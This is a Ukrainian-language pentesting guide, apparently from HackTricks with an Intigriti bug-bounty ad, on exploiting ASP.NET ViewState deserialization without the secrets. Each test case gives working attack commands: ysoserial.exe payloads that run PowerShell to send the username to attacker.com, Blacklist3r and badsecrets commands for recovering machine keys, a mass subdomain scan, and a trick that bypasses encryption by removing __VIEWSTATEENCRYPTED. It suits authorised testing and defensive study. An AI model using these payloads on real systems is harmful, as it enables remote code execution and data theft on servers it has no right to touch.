Exploiting __VIEWSTATE without knowing the secrets

Порада для баг-баунті: зареєструйтесь на Intigriti, преміум платформі для баг-баунті, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні та почніть заробляти винагороди до $100,000!

Що таке ViewState

ViewState служить за замовчуванням механізмом в ASP.NET для збереження даних сторінки та контролю між веб-сторінками. Під час рендерингу HTML сторінки поточний стан сторінки та значення, які потрібно зберегти під час постбека, серіалізуються в рядки, закодовані в base64. Ці рядки потім розміщуються в прихованих полях ViewState.

Інформацію ViewState можна охарактеризувати наступними властивостями або їх комбінаціями:

• Base64:

• Цей формат використовується, коли обидва атрибути EnableViewStateMac та ViewStateEncryptionMode встановлені в false.

• Base64 + MAC (Код автентифікації повідомлень) увімкнено:

• Активація MAC досягається шляхом встановлення атрибута EnableViewStateMac в true. Це забезпечує перевірку цілісності даних ViewState.

• Base64 + Зашифровано:

• Шифрування застосовується, коли атрибут ViewStateEncryptionMode встановлений в true, що забезпечує конфіденційність даних ViewState.

Тестові випадки

Зображення є таблицею, що детально описує різні конфігурації для ViewState в ASP.NET на основі версії .NET Framework. Ось короткий виклад змісту:

1. Для будь-якої версії .NET, коли MAC та шифрування вимкнені, MachineKey не потрібен, і, отже, немає застосовного методу для його ідентифікації.

2. Для версій нижче 4.5, якщо MAC увімкнено, але шифрування вимкнено, потрібен MachineKey. Метод для ідентифікації MachineKey називається "Blacklist3r."

3. Для версій нижче 4.5, незалежно від того, чи увімкнено MAC, якщо шифрування увімкнено, потрібен MachineKey. Ідентифікація MachineKey є завданням для "Blacklist3r - Future Development."

4. Для версій 4.5 і вище, всі комбінації MAC та шифрування (незалежно від того, чи обидва істинні, чи один істинний, а інший хибний) вимагають MachineKey. MachineKey можна ідентифікувати за допомогою "Blacklist3r."

Тестовий випадок: 1 – EnableViewStateMac=false та viewStateEncryptionMode=false

Також можливо повністю вимкнути ViewStateMAC, встановивши ключ реєстру AspNetEnforceViewStateMac в нуль в:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Ідентифікація атрибутів ViewState

Ви можете спробувати визначити, чи захищений ViewState MAC, захопивши запит, що містить цей параметр, за допомогою BurpSuite. Якщо Mac не використовується для захисту параметра, ви можете експлуатувати його, використовуючи YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Як тестовий випадок 1, але cookie ViewState не надсилається сервером

Розробники можуть видалити ViewState з HTTP-запиту (користувач не отримає цей cookie). Можна припустити, що якщо ViewState відсутній, їх реалізація є безпечна від будь-яких потенційних вразливостей, що виникають з десеріалізації ViewState. Однак це не так. Якщо ми додамо параметр ViewState до тіла запиту і надішлемо наш серіалізований вантаж, створений за допомогою ysoserial, ми все ще зможемо досягти виконання коду, як показано в Випадку 1.

Test Case: 2 – .Net < 4.5 та EnableViewStateMac=true & ViewStateEncryptionMode=false

Щоб увімкнути ViewState MAC для конкретної сторінки, нам потрібно внести наступні зміни в конкретний файл aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Ми також можемо зробити це для всього застосунку, встановивши це у файлі web.config, як показано нижче:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Оскільки параметр захищений MAC, для успішного виконання атаки спочатку нам потрібен використаний ключ.

Ви можете спробувати використати Blacklist3r(AspDotNetWrapper.exe) , щоб знайти використаний ключ.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому, на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates є утиліта "python blacklist3r", яка є найшвидшим способом її використання.

Її можна постачати з viewstate та генератором безпосередньо:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Або він може підключитися безпосередньо до цільового URL і спробувати витягти viewstate з HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Щоб шукати вразливі viewstate в масштабах, разом з перерахунком піддоменів, можна використовувати модуль badsecrets BBOT:

bbot -f subdomain-enum -m badsecrets -t evil.corp

Якщо вам пощастить і ключ буде знайдено, ви можете продовжити атаку, використовуючи YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

У випадках, коли параметр _VIEWSTATEGENERATOR не надсилається сервером, вам не потрібно надавати параметр --generator, але ці:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

У цьому випадку невідомо, чи захищений параметр за допомогою MAC. Тоді значення, ймовірно, зашифроване, і вам потрібен Machine Key для шифрування вашого payload для експлуатації вразливості.

У цьому випадку Blacklist3r модуль знаходиться в розробці...

Перед .NET 4.5, ASP.NET може приймати незашифрований ___VIEWSTATE_ параметр від користувачів навіть якщо ViewStateEncryptionMode було встановлено на Always. ASP.NET лише перевіряє наявність параметра __VIEWSTATEENCRYPTED у запиті. Якщо видалити цей параметр і надіслати незашифрований payload, він все ще буде оброблений.

Отже, якщо зловмисники знайдуть спосіб отримати Machinekey через іншу вразливість, таку як обходження файлів, YSoSerial.Net команда, використана в Випадку 2, може бути використана для виконання RCE за допомогою вразливості десеріалізації ViewState.

• Видаліть параметр __VIEWSTATEENCRYPTED з запиту, щоб експлуатувати вразливість десеріалізації ViewState, інакше буде повернено помилку валідації Viewstate MAC, і експлуатація не вдасться.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

Ми можемо примусити використання ASP.NET фреймворку, вказавши нижченаведений параметр у файлі web.config, як показано нижче.

<httpRuntime targetFramework="4.5" />

Альтернативно, це можна зробити, вказавши нижченаведений параметр у параметрі machineKey файлу web.config.

compatibilityMode="Framework45"

Як і в попередньому випадку, значення зашифроване. Тоді, щоб надіслати дійсний payload, зловмиснику потрібен ключ.

Ви можете спробувати використати Blacklist3r(AspDotNetWrapper.exe) , щоб знайти використовуваний ключ:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Для більш детального опису для IISDirPath та TargetPagePath зверніться сюди

Або, з Badsecrets (з значенням генератора):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Якщо дійсний ключ машини ідентифіковано, наступним кроком є генерація серіалізованого корисного навантаження за допомогою YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Якщо у вас є значення __VIEWSTATEGENERATOR, ви можете спробувати використати параметр --generator з цим значенням і опустити параметри --path та --apppath.

Успішна експлуатація вразливості десеріалізації ViewState призведе до запиту з виходом за межі до сервера, контрольованого зловмисником, який міститиме ім'я користувача. Цей тип експлуатації продемонстровано в доказі концепції (PoC), який можна знайти через ресурс під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових деталей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий PoC успішної експлуатації.

Тестовий випадок 6 – Використовується ViewStateUserKeys

Властивість ViewStateUserKey може бути використана для захисту від CSRF-атаки. Якщо такий ключ було визначено в додатку, і ми намагаємося згенерувати ViewState корисне навантаження за допомогою методів, обговорених до цього часу, корисне навантаження не буде оброблено додатком. Вам потрібно використовувати ще один параметр, щоб правильно створити корисне навантаження:

--viewstateuserkey="randomstringdefinedintheserver"

Результат успішної експлуатації

Для всіх тестових випадків, якщо корисне навантаження ViewState YSoSerial.Net працює успішно, то сервер відповідає з “500 Internal server error”, маючи вміст відповіді “Інформація про стан недійсна для цієї сторінки і може бути пошкоджена” і ми отримуємо OOB запит.

Перевірте додаткову інформацію тут

Посилання

• https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/

• https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817\

• https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

• https://blog.blacklanternsecurity.com/p/introducing-badsecrets

Порада для баг-баунті: зареєструйтесь на Intigriti, преміум платформі для баг-баунті, створеній хакерами, для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні і почніть заробляти винагороди до $100,000!